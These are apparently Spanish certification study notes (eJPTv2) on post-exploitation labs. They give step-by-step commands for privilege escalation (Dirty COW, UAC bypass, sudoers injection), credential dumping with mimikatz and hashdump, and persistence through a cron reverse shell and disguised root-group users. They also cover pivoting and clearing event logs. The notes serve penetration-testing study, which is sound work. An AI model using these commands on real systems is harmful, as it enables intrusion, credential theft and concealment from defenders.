6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
5. Automatica
JAWS: es un script de powershell que ayuda a identificar vectores de escalada de privilegios en Windows. Usado para PowerShell 2.0
https://github.com/411Hall/JAWS
Comandos
Es el mismo lab en todo el modulo
| upload /ruta/jaws-enum.ps1 |
|
| shell |
|
| powershell -ExecutionPolicy Bypass -File \ruta\jaws-enum.ps1 -OutputFileName JAWS-Enum.txt |
Nos dara mucha info Dura bastante, se puede quedar pillado pero debemos dejarlo |
| dir |
|
| exit |
|
| download JAWS-Enum.txt |
|
| Lo abrimos |
|
Encontramos info como: - Users info - Network info - Process y services info - Firewall rules - /hosts info - Schedule tasks - Patches info - Files con control total y modificacion access - Y mas |
|
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
1. Enumeracion De Informacion Del Sistema
| getuid |
Usuario actual |
| sysinfo |
Informacion del sistema como: - Hostname - SO y Service Pack - Arquitectura |
|
|
| shell |
|
| /bin/bash -i |
|
| hostname |
|
| cat /etc/issue |
Distibucion que esta corriendo |
| cat /etc/*release |
Mas informacion sobre el debian |
| uname -a |
Kernel version y arquitectura |
| uname -r |
Limitar a version kernel |
| env |
Enumerar variables del usuario |
| lscpu |
CPU info |
| free -h |
Saber cuanta RAM esta siendo consumida (no esta disponible en esta maquina) |
| df -h |
Mostrar espacio de disco duro usado leible - Sistema de archivos o dispositivo - Tamano - Espacio usado - Espacio libre - Porcentaje ocupado - Punto de montaje |
| df -ht ext4 |
Esto muestra solo los sistemas de archivos del sistema |
| lsblk | grep sd |
Muestra los discos de almacenamiento del sistema en forma de arbol |
| dpkg -l |
Muestra paquetes instaldos y su version. Todas las herramientas y utilidades son considerados paquetes como por ejemplo bash |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
2. Enumeracion De Usuarios Y Grupos
| Comandos |
Explicacion |
| getuid |
uid 0 es el root |
| shell |
|
| /bin/bash -i |
|
| whoami |
|
| groups USERNAME |
Grupos de un usuario |
| cat /etc/passwd |
Nos dara los user y service accounts (los users tienen /bin/bash y servicios /usr/sbin/nologin) |
| cat /etc/passwd | grep -v /nologin |
username:X:userID:groupID:/home/directory:shell |
| ls /home |
Si hubiese mas user accounts saldrian aqui sus directorios |
|
|
| EJEMPLO CREANDO UN USUARIO |
|
| useradd bob -s /bin/bash |
|
| cat /etc/passwd | grep -v /nologin |
Saldra tambien bob |
| ls /home |
No tendra /home/directory porque no se lo especificamos al crearlo, habria que crearlo manualmente |
| useradd -m john -s /bin/bash |
El si lo tendra |
|
|
| groups |
Grupos |
| groups bob |
|
|
|
| EJEMPLO METIENDO A BOB EN EL GRUPO ROOT |
|
| usermod -aG root bob |
Anadimos a bob al root group |
|
|
| last |
Ultimos usuarios que se loggearon |
| lastlog |
Ver la ultima vez que se loggearon todos los usuarios del sistema en una lista |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
3. Enumeracion De Red
| ifconfig |
Obtener info de: - Las interfaces - IPaddress - Mascaras - MACs |
| netstat |
Lista los servicios:puerto, protocolo, estado y PID que estan corriendo
Son los enumerados por nmap, el 4443 (estado: ESTABLISHED) que es por donde tenemos conectado nuestro Meterpreter y alguno que puede haberse escapado |
| route |
Tabla de rutas |
| shell |
|
| /bin/bash -i |
|
| ip a s |
Parecido a ifconfig |
| cat /etc/networks |
Interfaces info: default, loopback y link-local |
| cat /etc/hostname |
|
| cat /etc/hosts |
Hosts + IPs para ver dominios que podemos acceder |
| cat /etc/resolv.conf |
Nameservers (DNS Server) que se usa por defecto |
| arp -a |
No esta instalada |
| exit |
|
| arp |
|
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
4. Enumeracion Procesos Y Cronjobs
| Comandos |
Explicacion |
| ps |
Procesos que estan corriendo en una lista: - PID - Name - Arquitecura - User (ptivs asociados al proceso) - Patch
Si accediesemos con el usuario bob, no administrado, no nos saldrian los procesos con priv AUTHORITY\SYSTEM solo los relacionados con bob |
| pgrep PROCESS_NAME |
Ej: pgrep explorer.exe |
| migrtate PID |
Migrar a un proceso |
|
|
| shell |
|
| ps aux |
Procesos que estan corriendo en una lista. NO SE ENCUENTRA EN EL SISTEMA: - User - PID - CPU y MEM ocupada - TTY usada - Cuando empezo - Comando |
| ps aux | grep NAMEPROCESS |
De un proceso especifico |
| ps aux | grep USERNAME |
De un usuario especifico |
| top |
Lista de procesos dinamica. NO SE ENCUENTRA EN EL SISTEMA |
| crontab -l |
Cronjobs del usuario |
| ls -la /etc/cron* |
Todos los cronjobs divididos en carpetas segun sea cada dia, semana, mes… |
| cat /etc/cron* |
Aqui veriamos si hubiese algun cronjob configurado |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 2. Linux
5. Automatico
LinEnum: es un script de bash simple que automatiza el local enumeration para identificar vulns de escalada de privilegios
https://github.com/rebootuser/LinEnum
Comandos
LinEnum: (https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)
| copiar y pegar en un archivo llamado (LinEnum.sh) |
|
| sessions N |
|
| cd /tmp |
|
| upload /ruta/LinEnum.sh |
|
| shell |
|
| /bin.bash -i |
|
| id |
Somos un usuario sin privs |
| whoami |
|
| cat /etc/passwd |
No tenemos ni shell configurada |
| chmod +x Linenum.sh |
|
| sed -i ‘s/\r$//’ LinEnum.sh |
SI DA ERRORES AL EJECUTAR LinEnum.sh |
| ./LinEnum.sh |
Encuentra info de: - Kernel info - Release info (SO, version…) - Hostname - Users/groups - Logged on - /etc/passwd - Variables para el usuario - Paths - Shells - Pass info - Cron jobs - Network info - Servicios - Binarios sobre los que tenemos permisos - Compiladores - SUID binaries - Conf files
Y mas |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 1. Kernel Exploits
1. Windows Exploit Suggester
- MSF
- Manual
MSF
Los modulos que nos de podemos mirarlos en google (rapid7) para ver una descripcion
| search local_exploit_suggester |
Este modulo nos enseñara los modulos para escalar privs |
| use local_exploit_suggester |
|
| set session N |
|
| run |
[+] –> Son los modulos que sirven para escalar privs en el objetivo Si lo cogemos y lo miramos en google podremos ver con mas detalle que es lo que hace |
| use MODULE[+] |
|
| set OPTIONS |
|
| run |
|
| getuid |
[[4. Enumeracion MSF|COMANDOS UTILES MSF]] |
Manual
| Comando |
Explicacion |
| git clone URL |
https://github.com/strozfriedberg/Windows-Exploit-Suggester/tree/master |
| ./windows-exploit-suggester.py –update |
Actualiza la base de datos |
| ./windows-exploit-suggester.py –database NOMBRE_ARCHIVO.db –systeminfo ARCHIVO |
NOMBRE_ARCHIVO.db: nombre del archivo en el directorio de la base de datos
ARCHIVO: archivo que contiene la info del comando sysinfo realizada en un sesion de Meterpreter
SALIDA: -[E]: exploit name -[M]: MSF module - [*]: boletin perdido |
El primero es MS16-135 en el cual salen 2 exploits [E] y una url de github
Podemos buscar MS16-135 en google para mas detalle |
|
| En SeeWiki/windows-kernel-exploit/ de github podemos buscar MS16-135, navegar en sus carpetas hasta la version .exe o .psq y descargarla |
Cogemos el .exe
https://github.com/SecWiki/windows-kernel-exploits |
| session N(Meterpreter sin privs) |
|
| cd C:\Temp |
|
| upload archivo.exe |
|
| shell |
|
| .\archivo.exe N |
N(num de la version Windows: 7, 2008)
Si no sabemos cual ponemos .\archivo.exe y nos deberia decir opciones |
| whoami |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 2. Bypassing Uac
1. Bypassing Uac
UAC es una caracterisitca de Windows Vista usado para prevenir cambios no autorizados
Para bypassear UAC necesitamos un usuario parte de los local admin groups
3 niveles de UAC, desde low - high:
- Si esta en high, Windows programs pueden ser ejecutados con privilegios
UACMe/Akagi64.exe
Es una herramienta de escalado de privs para bypassear UAC: https://github.com/hfiref0x/UACME
Tiene repos de Windows 7-10. Permite a los atacantes ejecutar payloads en un Windows target con admin privs con la herramienta Windows AutoElevate
SITUACION: tenemos un Meterpreter, con getsystem no conseguimos escalar privs y vemos que nuestro usuario pertenece al localgroup administrators. Queremos mas privilegios
| search bypassuac |
Nosostros usaremos bypassuac_injection |
| use |
|
| show options |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| set session N |
|
| set lport N |
Otro no usado |
| run |
|
|
|
|
|
| Si nos da un error porque dice que el target es un x86 hacemos lo siguiente |
|
| set target Windows\x64 |
|
| run |
Ahora se deberia completar bien |
Desde Meterpreter
| Comandos |
Explicacion |
| getuid |
|
| shell |
|
| net localgroup adminsitrators |
Vemos nuestro usuario |
En otra terminal
| msfvenom -p /windows/meterpreter/reverse_tcp LHOST=<IP_LOCAL> LPORT=<PUERTO_LOCAL> -f exe > reverse.exe |
|
| msfconsole -q |
|
| use multi/handler |
|
| set lhost <IP_LOCAL> |
|
| set lport <PUERTO_LOCAL> |
|
| run |
|
De vuelta a la session abierta
| upload /reverse.exe |
|
| upload /Akagi64.exe |
|
| /Akagi64.exe 23 C:\reverse.exe |
|
En el listener multi/handler
[[4. Enumeracion MSF]]
| sysinfo |
Hemos obtenido una Meterpreter |
| getuid |
|
| ps -S lsass |
|
| migrate PID |
|
| hashdump |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 3. Access Token Impersonate
1. Access Token Impersonate
Incognito
Modulo de MSF que antes era una app para impersonar tokens tras explotacion
Podemos usarlo para ver una lista de tokens que podemos impersonar
SITUACION: tenemos una shell en el sistema objetivo y tras hacer whoami /priv o getprivs (Meterpreter) tenemos SeImpersonatePrivilege
Desde Meterpreter
| Comandos |
Explicacion |
| getprivs |
Vemos que tenemos SeImpersonatePrivilege |
| load incognito |
|
| list_tokens -u |
Lista los usuarios a los que podemos impersonar tokens |
| impersonate_token “USER” |
|
| getuid |
|
| getprivs |
|
| list_tokens -u |
Puede ser que veamos un usuario con privs mayores que antes no veiamos |
Puede haber la situacion en la que no haya access tokens disponibles con privilegios. En ese caso para usar potato attack que crea un NT AUTHORITY\SYSTEM Token para conseguir sus privs
EJEMPLO INCOGNITO
![[Pasted image 20260317203205.png]]
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 1. Windows / 4. Automatizacion Identificar Escalada
1. Privscheck
PrivescChechk: es un script de enumeracion que se puede aprovechar para la escalada de privilegios. Recopila varia info que puede ser util para la explotacion y post explotacion
https://github.com/itm4n/PrivsCheck
Comandos
PrivsCheck ya esta descargado en el objetivo
powershell -ep bypass -c “. .\PrivescCheck.ps1; Invoke-PrivescCheck”
|
Viene en la URL de github en Usage
Realiza todas las comprobaciones y al final envia un resumen, si encuentra resultados se ve asi:
-> N result(s)
Encuentra: - Users - Groups - Servicios - Creds… Viene la vulnerabilidad con una descripcion y resultados si los hay |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 1. Kernel Exploits
1. Kernel Exploits
Herramientas
Linux-Exploit-Suggester: esta herramienta esta dise;ada para ayudar a detectar deficiencias del Linux Kernel
Esta en https://github.com/mzet-/linux-exploit-suggester
LAS TECNICAS DE ESTA PARTE SE HACEN SOBRE UN UBUNTU 12.04
Comandos
Empezamos directamente con una sesion meterpreter del target para directamente empezar con la escalada de privs
| En nuestro sistema: wget URL/Linux-Exploit-Suggester |
https://github.com/mzet-/linux-exploit-suggester |
|
|
| Comandos |
Explicacion |
| cd /tmp |
|
| upload /ruta/…les.sh |
|
| shell |
|
| /bin/bash -i |
|
| chmod +i les.sh |
|
| ./less.sh |
Lista las vulnerabilidades en formato CVE. Nos da: - Details - Exposicion - Tags: nos dice a que distribuciones y versiones afecta. Nos saldra en amarillo entre [] si nuestra version es vuln - URL para descargarlo - Comentarios Usaremos dirtycow2 |
|
|
| Abrimos la URL de la vuln CVE en el navegador para entender que es lo que hace ese exploit |
Dentro nos saldra el codigo que debemos copiar y pegar en un archivo .c Nos dice como compilarlo y como ejecutarlo |
| Le damos a download |
|
| sudo apt-get install gcc |
En nuestra kali |
| mv archivo.c dirty.c |
|
| gcc -pthread archivo.c -o dirty -lcrypt |
Lo compilamos en local |
|
|
| Volemos al meterpreter: upload dirty |
|
| shell |
|
| /bin/bash -i |
|
| chmod +x dirty |
|
| ./dirty nueva_password |
Con esto se crea un usuario llamado: - firefart con las contrasena que le pusimos y con privs root |
| cat /etc/passwd |
Vemos que estas firefart |
| Desde otra terminal: ssh firefart@IP |
Obtendremos una shell con privs |
| sudo apt-update |
|
| cat /etc/shadow |
Solo permitido para usuarios root |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 2. Cronjobs Mal Configurados
1. Chrootkit Como Root Cada Minuto
| cat /etc/passwd |
Tenemos dos usuarios: root y jackie (tienen un /bin/bash) |
| ps aux |
Vemos un bin ejecutado por el admin |
| cat /bin/check-down |
Se ejecuta cada minuto chkrootkit |
| chkrootkit –help |
|
| chkrootkit -V |
Nos da una version vulnerable (anteriores a 0.50) |
| bg |
|
| search chkrootkit |
|
| use |
|
| show options |
|
| set chkrootkit /bin/chkrootkit |
|
| set session N |
|
| set lhost eth1 |
|
| run |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 2. Cronjobs Mal Configurados
2. Cronjobs Mal Configurados
ls -la /etc/cron*
cat /etc/cron*
Ver todos los cronjobs y sus permisos
| crontab -l |
Lista los crontabs del usuario |
| ls -la |
Veremos que aunque estamos en la carpeta del usuario student hay un archivo creado por root. Esto puede deberse a un cronjon |
| cat archivo |
No tendremos privs ya que lo creo el root |
| cd / |
|
| grep -rnw /usr -e “/home/student/message” |
Hace una búsqueda recursiva dentro del directorio /usr buscando la cadena exacta
Encontramos un copy.sh en /usr/local/share y vemos que su interior pone: cp /home/student/message /tmp/message |
| ls -la tmp |
|
| cat /tmp/message |
|
| ls -la /usr/local/share/copy.sh |
Veremos que esta creado por el usuario root, pero si miramos los privilegios veremos que todos los usuarios pueden leerlo, escribirlo y ejecutarlo: -rwxrwxrwx |
| cat /usr/share/copy.sh |
Veremos el contenido que ejecuta comandos de bash |
| printf ‘#!/bin/bash\necho “student ALL=NOPASSWD: ALL” >> /etc/sudoers’ > /usr/local/share/copy.sh |
Usamos printf porque no hay vim, nano… |
| cat /usr/local/share/copy.sh |
Nos saldra lo que hemos puesto |
| Esperamos unos minutos |
|
| sudo -l |
Nos saldra que podemos ejecutar los siguientes comandos:
NOPASSWD: ALL |
| sudo su |
|
| whoami |
|
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 3. Suid Binarios
1. Binarios Suid
En adicion a los 3 tipos de permisos de acceso (read, write y execute) Linux tiene un permiso especial que puede ser usado en algunas ocasiones. Uno de estos permisos especiales es el SUID
Cuando este permiso es dado, le da la habilidad al usuario de ejecutar el script o binario con permisos del creador del archivo
Comandos
| Comandos |
Explicacion |
| whoami |
|
| groups student |
|
| ls -la |
Vemos que el archivo welcome esta creado por el usuario root y vemos que tenemos permisos de ejecucion: -rwsr-xr-x
- La ultima x significa que cualquier user puede ejecutarlo - Tambien vemos que tenemos permisos SUID (primera s) lo que significa que cuando ejecutemos ese archivo se hara con privilegios de su owner (root) |
| ./welcome |
Si intentasemos ejecutar el otro archivo (welcome) nos daria denegado |
| file welcome |
Para saber mas informacion del archivo (Podria tener missing share objects pero en este caso no los tiene) |
| strings welcome |
Sirve para extraer y mostrar las cadenas de texto legibles que hay dentro de un archivo binario. Dentro vemos una cadena que pone greetings, se podria suponer que welcome esta llamando a greatings. Podriamos cambiarlo como para que ejecute una terminal y cuando ejecutemos welcome abra una terminal con privs |
| rm greatings |
|
| cp /bin/bash greetings |
|
| ./welcome |
Obtenemos una terminal con los privs del usuario propietario de welcome |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 4. Permisos Debiles
1. Permisos Debiles En Archivos
| find / -not -type l -perm -o+w |
Lista los archivos desde la raiz a los que podemos escribir todos los usuarios del sistema
/etc/shadow puede ser modificado por todos los usuarios. Muy mala practica |
| cat /etc/shadow |
|
| ls -la /etc/shadow |
Podemos leer y escribir |
| openssl passwd -1 -salt abc password |
Crear un hash con salt formato para /etc/shadow |
| nano /etc/shadow |
Pegamos el hash en el lugar de * |
| su |
Nos pide el password |
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 5. Sudo Privs
1. Sudo Privs
| Comandos |
Explicacion |
| cat /etc/passwd |
Objetivo root |
| sudo -l |
Ver nuestros privs
Vemos que tenemos como NOPASSWD el /usr/bin/man para ejecutarlo como root |
| man ls |
|
| sudo man ls |
Podemos usarlo como root sin poner password |
| Dentro del man podemos: !/bin/bash |
Como se ejecuta como root nos da una shell root |
| cat /root/flag |
|
Se puede buscar en google como escalar privs en ese binario sin password
eJPTv2
6. Post Explotacion / 2. Escalada De Privilegios / 2. Linux / 6. Autoamatizacion Identificar Escalada
1. Linenum
LinEnum: es un bash script simple que automatiza la enumeracion local y verificar vulns de priv escalation
https://github.com/rebootuser/LinEnum
LinEnum: (https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)
| copiar y pegar en un archivo llamado (LinEnum.sh) |
|
| sessions N |
|
| cd /tmp |
|
| upload /ruta/LinEnum.sh |
|
| shell |
|
| /bin.bash -i |
|
| id |
Somos un usuario sin privs |
| whoami |
|
| cat /etc/passwd |
No tenemos ni shell configurada |
| chmod +x Linenum.sh |
|
| sed -i ‘s/\r$//’ LinEnum.sh |
SI DA ERRORES AL EJECUTAR LinEnum.sh |
| ./LinEnum.sh |
Encuentra info de: - Kernel info - Release info (SO, version…) - Hostname - Users/groups - Logged on - /etc/passwd - Variables para el usuario - Paths - Shells - Pass info - Cron jobs - Network info - Servicios - Binarios sobre los que tenemos permisos - Compiladores - SUID binaries - Conf files
Y mas |
Ejemplo
LinEnum, vamos desde nuestro bworser personal fuera del VM: le damos a Raw
![[Pasted image 20260308160525.png]]
Copiamos todo
![[Pasted image 20260308160536.png]]
De vuelta a la VM
![[Pasted image 20260308160545.png]]![[Pasted image 20260308160547.png]]
Ctl+Shift+Alt (ya lo he pegado en el archivo pero ahí debe aparecer lo que tenemos en el portapapeles de fuera del VM)
![[Pasted image 20260308160556.png]]
Copiamos y pegamos en el archivo
![[Pasted image 20260308160606.png]]
Ahí ya lo transferiríamos a meterpreter y lo ejecutaríamos
![[Pasted image 20260308160614.png]]![[Pasted image 20260308160617.png]]![[Pasted image 20260308160620.png]]![[Pasted image 20260308160623.png]]![[Pasted image 20260308160626.png]]
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
1. Lsass Y Hashdump
Tras escalar privs si en un Meterpreter podemos migrar a lsass la shell como AUTHORITY\SYSTEM podemos usar el hashdump
| sysinfo |
Hemos obtenido una Meterpreter |
| getuid |
Somos AUTHORITY\SYSTEM |
| ps -S lsass |
|
| migrate PID |
|
| hashdump |
Obtenemos los hashes |
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
2. Buscando Passwords En Config Files
Windows puede automatizar repetitive tasks. Esto lo realiza Unattended Windows Setup que es usado para automatizar en masa la instalacion y deployment de un Windows System
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Autounattend.xml
Meterpreter –> search -f Unnatend.xml
Ejemplo
![[Pasted image 20260317230051.png]]![[Pasted image 20260317230118.png]]![[Pasted image 20260317230145.png]]
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
3. Mimikatz Kiwi
Mimikatz es una herramienta de postexplotacion que permite la extraccion de passwords en texto claro, hashes y tickets kerberos de la memoria
El SAM es una archivo de base de datos que guarda hashes de password
Mimikatz requiere de privs
Mimikatz
| Comando |
Explicacion |
| upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe |
|
| shell |
|
| .\mimikatz.exe |
|
| privilege::debug |
Ver si tenemos permisos suficientes para ejecutar mimikatz |
| lsadump::sam |
|
| lsadump::secrets |
|
| sekurlsa::logonpasswords |
Si Windows tiene la configuracion de guardar en texto claro las pass de los logs |
Kiwi
| Comando |
Explicacion |
| upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe |
|
| load kiwi |
|
| lsa_dump_sam |
|
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 1. Windows
4. Pth
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 2. Linux
1. Hashdump Linux
Modulos utiles
linux/gather/hashdump
analyze/check_linux
Comandos
| bg |
|
|
|
| search type:post platform:linux hashdump |
|
| use |
|
| show options |
|
| set session N |
|
| run |
|
| loot |
Tendremos el shadow, el passwd y las passwords unshadowed (sin formato para john) |
Mas modulos MSF
- post/multi/gather/ssh_creds
- post/multi/gather/docker_creds
- post/linux/gather/hashdump
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_psk
- post/linux/gather/enum_xchat
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/manage/sshkey_persistence
Ejemplo
![[Pasted image 20260318162037.png]]![[Pasted image 20260318162047.png]]
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 3. Crackeando Hashes
1. John
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 3. Crackeando Hashes
2. Hashcat
eJPTv2
6. Post Explotacion / 3. Credential Dumping / 3. Crackeando Hashes
3. Crack Linux Modulo MSF
| search hashdump |
Queremos el post/linux/gather/hashdump |
| use post |
|
| show options |
|
| set session 2 |
|
| run |
Nos saca los hashes y nos guarda un unshadowed password file (nos lo guarda en un formato que puede ser crackeado) |
| use auxiliaary/analyze/crack_linux |
Nos crackea el hash |
| set SHA512 true |
|
| run |
|
eJPTv2
6. Post Explotacion / 4. Persistencia / 1. Windows
1. Modulo MSF Persistence Service
Modulo
persistence_service
Ejemplo
| search type:post platform:windows persistence |
Cada una usa una tecnica Usaremos persistence_service |
| use |
Este crea un servicio para la persistencia y cuando tengamos un listener o multi/handler seremos capaces de obtener una sesion meterpreter |
| set payload windows/x64/meterpreter/reverse_tcp |
SI NO FUNCIONA EL X64 PONEMOS EL PARA 32BITS |
Estos no los pondremos pero –> set service_name set remote_exe_name set remote_exe_path |
Queremos que el servicio parezca lo mas legitimo posible
|
| set session N |
|
| run |
|
| getuid |
|
| exit |
|
| sessions |
|
| sessions -K N |
Queremos terminar todas las sessiones para ver si hemos establecido persistencia |
| use multi/handler |
|
| set paylaod windows/meterpreter/reverse_tcp |
|
| set lhost eth1 |
|
| set lport N |
Debe ser el mismo que el que especificamos para crear el servicio |
| run |
Nos conectaremos porque el servicio correra incluso tras reinicios |
| exit |
|
| run |
Probamos otra vez y la seguimos obteniendo |
eJPTv2
6. Post Explotacion / 4. Persistencia / 1. Windows
2. Habilitar El RDP Modulo MSF
Modulo
search enable_rdp
Comandos
| search enable_rdp |
|
| use |
|
| show options |
|
| set session N |
|
| run |
|
| db_nmap -p3389 IP |
Ahora esta abierto |
Ejemplo
![[Pasted image 20260318160325.png]]![[Pasted image 20260318160339.png]]
eJPTv2
6. Post Explotacion / 4. Persistencia / 2. Linux
1. Comandos Linux Interesantes Para Persistencia
| passwd root |
Le cambiamos la contraseña |
| password123 |
Se la establecemos |
| usradd -m NOMBRE -s /bin/bash |
Creamos un usuario |
| passwd NOMBRE |
|
| password321 |
|
Metodos
Solo funciona si existe un protocolo como ssh en el que nos podamos conectar siempre que podamos
MANUAL
| shell |
|
| cat /etc/passwd |
Vemos los usuarios Nuestro nuevo usuario no debe parecer clandestino |
| useradd -m NOMBRE -s /bin/bash |
-m: le crea un directorio propio al usuario -m /ruta: especificar donde se creara (si no se especifica se creara en /home) El nombre puede ser algo como ftp, si existiese un servicio ftp -s: indica el tipo de shell que tenfra |
| passwd NOMBRE |
Para ponerles una password |
|
|
| Ahora vamos a darle permisos root |
|
| usermod aG root NOMBRE |
|
| groups NOMBRE |
Vemos que pertenece al grupo de root |
|
|
| Si miramos /etc/passwd y miramos :N:N: se ve que este usuario fue creado recientemente. Vamos a hacer que parezca que no es tan reciente |
|
| usermod -u N(como 15 por ejemplo) NOMBRE |
|
| cat /etc/passwd |
Veremos que ahora pone :15:N: |
| exit |
|
| bg |
|
AUTOMATICO
NO TODOS FUNCIONARAN, IR PROBANDO
Si hay SSH probar directamente –> sshkey_persistence
| Comandos |
Explicacion |
| search platform:linux persistence |
Hay de APT Package, cron, bash, rc.local. autostart desktop… |
|
|
| Primero apt_package_manager_persistence |
|
| use |
|
| info |
Este modulo corre un payload cuando el paquete manager es usado. No se configura el multi/handler automaticamente por que hay que configurarlo manualmente Crea una pre-invocacion del APT en apt.conf.d
Este modulo debido a lo de multi/handler no nos da acceso siempre por lo que este no lo usaremos |
|
|
| Segundo cron_persistence |
|
| search platform:linux persistence |
|
| use |
|
| info |
Permite crear una tarea programada que nos de acceso al sistema de forma persistente Se ejecuta cada min mas o menos |
| set session N |
|
| set lport N |
Uno que no se este usando |
| set lhost eth1 |
|
| run |
Parece no funcionar usamos otro |
|
|
| Tercero service_persistence |
|
| search platform:linux persistence |
|
| use |
Trata de crear un servicio en una caja y lo marca como autorun. Necesitamos suficiente acceso como para escribir los archivos y potencialmente reiniciar los servicios |
| set session N |
|
| set payload cmd/unix/reverse_python |
|
| set lhost eth1 |
|
| set lport N |
Uno no usado |
| run |
No funciona |
| show targets |
|
| set target System V |
|
| run |
No funciona |
|
|
| Cuarto sshkey_persistence (lo usamos cuando nuestros intentos fallan y para ser sigilosos) |
|
| search platform:linux persistence |
|
| use |
Crea un pub y private key shh y lo añade a todos los directorios de usuario y nos provee el private key para autenticarnos en cualquier usuario sin usar la contraseña No deja mucho rastro salvo los logs in |
| show options |
|
| set createsshfolder true |
Por si no tiene un archivo ssh |
| set session N |
|
| run |
Crea un directorio a todos los usuarios |
| loot |
Vemos el private key |
| cat /privatekey |
|
| Lo copiamos |
|
|
|
| exit -y |
|
| nano ssh_key |
Lo pegamos |
| chmod 400 ssh_key |
|
| ssh -i ssh_key USER@IP |
|
eJPTv2
6. Post Explotacion / 4. Persistencia / 2. Linux
2. Persistencia Via SSH Keys
| Comandos |
Explicacion |
| ssh student@IP |
Pass: password |
| ls -la |
Vemos el .ssh |
| cd .ssh |
id_rsa es la private key |
| cat id_rsa |
|
| exit |
|
| scp student@IP:~/.ssh/id_rsa . |
Copiamos el id_rsa en nuestra maquina con scp |
| ls |
|
| chmod 400 id_rsa |
|
| ssh student@IP -i id_rsa |
|
eJPTv2
6. Post Explotacion / 4. Persistencia / 2. Linux
3. Persistencia Via Cronjobs
![[Pasted image 20260318185353.png]]
Comandos
| Comandos |
Explicacion |
| ssh student@IP |
Pass: password |
| cat /etc/cron* |
Vemos los cronjobs |
| echo “* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/IP_LOCAL/PUERTO 0>&1’” > cron |
Se ejecutara el cronjob cada minuto, de cada hora, de cada dia, de cada mes, de cada año |
| cat cron |
|
| crontab -i cron |
Añadir cronjob |
| crontab -l |
|
| exit |
|
| nc -nvlp PUERTO |
Obtenemos el shell |
eJPTv2
6. Post Explotacion / 5. Pivoting
1. Pivoting
Comandos
| run |
|
sysinfo getuid |
|
| ipconfig |
Veremos las interfaces. Usaremos la Interfaz 12 que es la que se conecta con al red interna |
| run autoroute -s IP_red/mascara |
|
| bg |
|
| sessions -n NOMBRE -i 1 |
|
| search portscan/tcp |
|
| use |
|
| set rhost IP2 |
|
| set PORTS 1-100 |
|
| run |
Vemos que tiene un puerto 80 |
| sessions 1 |
|
| portfwd add -l 1234 -p 80 -r IP2 |
|
| bg |
|
| db_nmap -sS -sV -p 1234 localhost |
Veremos por el puerto 1234 la version (en realidad es el puerto 80 de IP2) |
| Si abrimos un browser y ponemos 127.0.0.1:1234 veremos el codigo de la pagina web de IP2 |
|
| search badblue_passthru |
|
| use |
|
| set payload windows/meterpreter/bind_tcp |
Bind porque con reverse no nos llegaria al no tener acceso directo. Tiramos el bind a traves de la maquina comprometida |
| set rhosts IP2 |
|
| set lport N |
Un puerto que no haya sido usado |
| run |
Obtenemos un meterpreter en IP2 |
sysinfo getuid |
|
| bg |
|
| sessions -n NOMBRE -i 2 |
|
Ejemplo
![[Pasted image 20260318160905.png]]![[Pasted image 20260318160938.png]]
eJPTv2
6. Post Explotacion / 5. Pivoting
2. Proxychains
| run autoroute -s IP_red_interna/mascara |
Esto nos permitira enviar comandos a esta red desde fuera |
| bg |
Ponemos la sesion en background |
|
|
Volvemos a nuestra propia maquina y miramos: cat /etc/proxychains4.conf para ver si existe
Nos quedamos con la linea socks4 127.0.0.1 N. N es el puerto que le tendremos que espcificar al modulo |
Como existe necesitaremos usar el modulo de socks |
|
|
| Volvemos a MSF |
|
| search socks |
|
| use auxiliary/server/socks_proxy |
|
| set version 4a |
|
| set srvport 9050(N) |
|
| run |
Se correra en segndo plano |
|
|
| Ahora si vamos a nuestra maquina normal podremos lanzar comandos a la IP interna con poner proxychains delante |
|
| proxychains nmap -Pn -sS -sV -p 445 demo1.local.ine |
Vemos que llega ahora y vemos que es un sistema Windows |
eJPTv2
6. Post Explotacion / 6. Limpiado
1. Limpiando Windows
El SO Windows guarda y cataloga todas las acciones y eventos relacizados en el sistema y los guarda en Windows Event Log
Descarga de archivos
Descargar todo en C:/Temp o crearlo sino existe
cd C:\Temp
o
mkdir C:\Temp cd C:\Temp |
Nos movemos al directorio Temp o lo creamos y nos movemos a este |
| upload /usr/share/windows-binaries/nc.exe |
|
| rm nc.exe |
Al acabar elimianrlo |
Limpiar Event Logs desde Meterpreter
| clearev |
Borra los Event Log |
eJPTv2
6. Post Explotacion / 6. Limpiado
2. Limpiando Linux
